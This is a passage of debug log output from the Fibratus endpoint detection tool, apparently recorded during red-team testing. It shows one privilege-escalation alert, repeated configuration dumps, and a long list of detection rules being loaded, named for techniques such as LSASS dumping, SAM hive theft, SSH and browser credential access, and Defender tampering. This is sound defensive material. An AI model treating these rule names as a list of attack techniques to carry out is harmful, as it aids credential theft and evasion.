Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2501421 + Pid: 7724 + Tid: 8880 + Type: CreateProcess + CPU: 1 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:44:57.5806704 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 44815b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c6e0a6080, name➜ conhost.exe, pid➜ 7636, ppid➜ 7724, real_ppid➜ 7724, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:44:57.5806704 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, technique.id: T1134, technique.name: Access Token Manipulation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, rule.seq.link: 4831236707493871616, rule.name: Suspicious child process integrity level, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 7724 + Ppid: 18532 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=8509.771" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=8509.771" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-04T20:46:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:46:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:46:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:08:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T10:08:47+01:00 level=info msg=bootstrapping with pid 17804. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:08:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-vamap=>true max-buffers=>36 enable-registry=>true flush-interval=>1s stack-enrichment=>true enable-thread=>true enable-handle=>false buffer-size=>512 enable-dns=>false enable-net=>true enable-fileio=>true enable-audit-api=>true enable-mem=>false enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 max-age=>0 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s gzip-compression=>false enabled=>false healthcheck-timeout=>5s bulk-workers=>1 timeout=>5s healthcheck-interval=>10s template-name=>fibratus sniff=>false index-name=>fibratus healthcheck=>true] http=>[ method=>POST endpoints=>[] tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false enabled=>false timeout=>5s] amqp=>[ exchange=>fibratus vhost=>/ exchange-type=>topic enabled=>false durable=>false timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus passive=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-files=>false enabled=>false skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:08:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:08:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:10:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:10:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:10:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:10:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T10:10:55+01:00 level=info msg=bootstrapping with pid 18328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:10:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-handle=>false flush-interval=>1s enable-vamap=>true enable-thread=>true max-buffers=>36 enable-fileio=>true enable-net=>true enable-registry=>true stack-enrichment=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 enable-mem=>false enable-threadpool=>false enable-dns=>false enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text level=>info max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ flush-period=>1s timeout=>5s healthcheck=>true trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s index-name=>fibratus template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] http=>[ timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] serializer=>json] amqp=>[ exchange-type=>topic exchange=>fibratus enabled=>false routing-key=>fibratus passive=>false durable=>false timeout=>5s tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-mmaps=>false scan-timeout=>10s skip-allocs=>false skip-registry=>false excluded-procs=>[] fastscan=>true skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:10:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:10:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:11:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:11:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:11:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:11:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T10:11:32+01:00 level=info msg=bootstrapping with pid 17168. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:11:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-thread=>true enable-dns=>false min-buffers=>16 enable-net=>true max-buffers=>36 enable-image=>true stack-enrichment=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-registry=>true flush-interval=>1s enable-handle=>false buffer-size=>512 enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-backups=>15 level=>info max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ flush-period=>1s trace-log=>false sniff=>false healthcheck=>true bulk-workers=>1 timeout=>5s index-name=>fibratus healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false method=>POST timeout=>5s] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false vhost=>/ passive=>false exchange=>fibratus routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false exchange-type=>topic]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false excluded-files=>[] skip-registry=>false skip-files=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:11:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:11:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:18:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:18:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:18:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:18:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-05T10:18:26+01:00 level=info msg=bootstrapping with pid 4124. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-05T10:18:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-dns=>false enable-handle=>false enable-registry=>true stack-enrichment=>true min-buffers=>16 buffer-size=>512 enable-net=>true enable-fileio=>true enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-vamap=>true flush-interval=>1s enable-image=>true enable-threadpool=>false enable-thread=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] elasticsearch=>[ sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false flush-period=>1s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true template-name=>fibratus bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s index-name=>fibratus] http=>[ tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false enabled=>false endpoints=>[]] amqp=>[ vhost=>/ enabled=>false routing-key=>fibratus timeout=>5s passive=>false tls-insecure-skip-verify=>false exchange-type=>topic exchange=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient durable=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ fastscan=>true excluded-procs=>[] skip-mmaps=>false enabled=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-05T10:18:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:18:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-05T10:18:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-05T10:18:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:18:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-05T10:18:40+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_manipulation_from_exception_handler.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-05T10:18:40+01:00 level=info msg=loading rule from 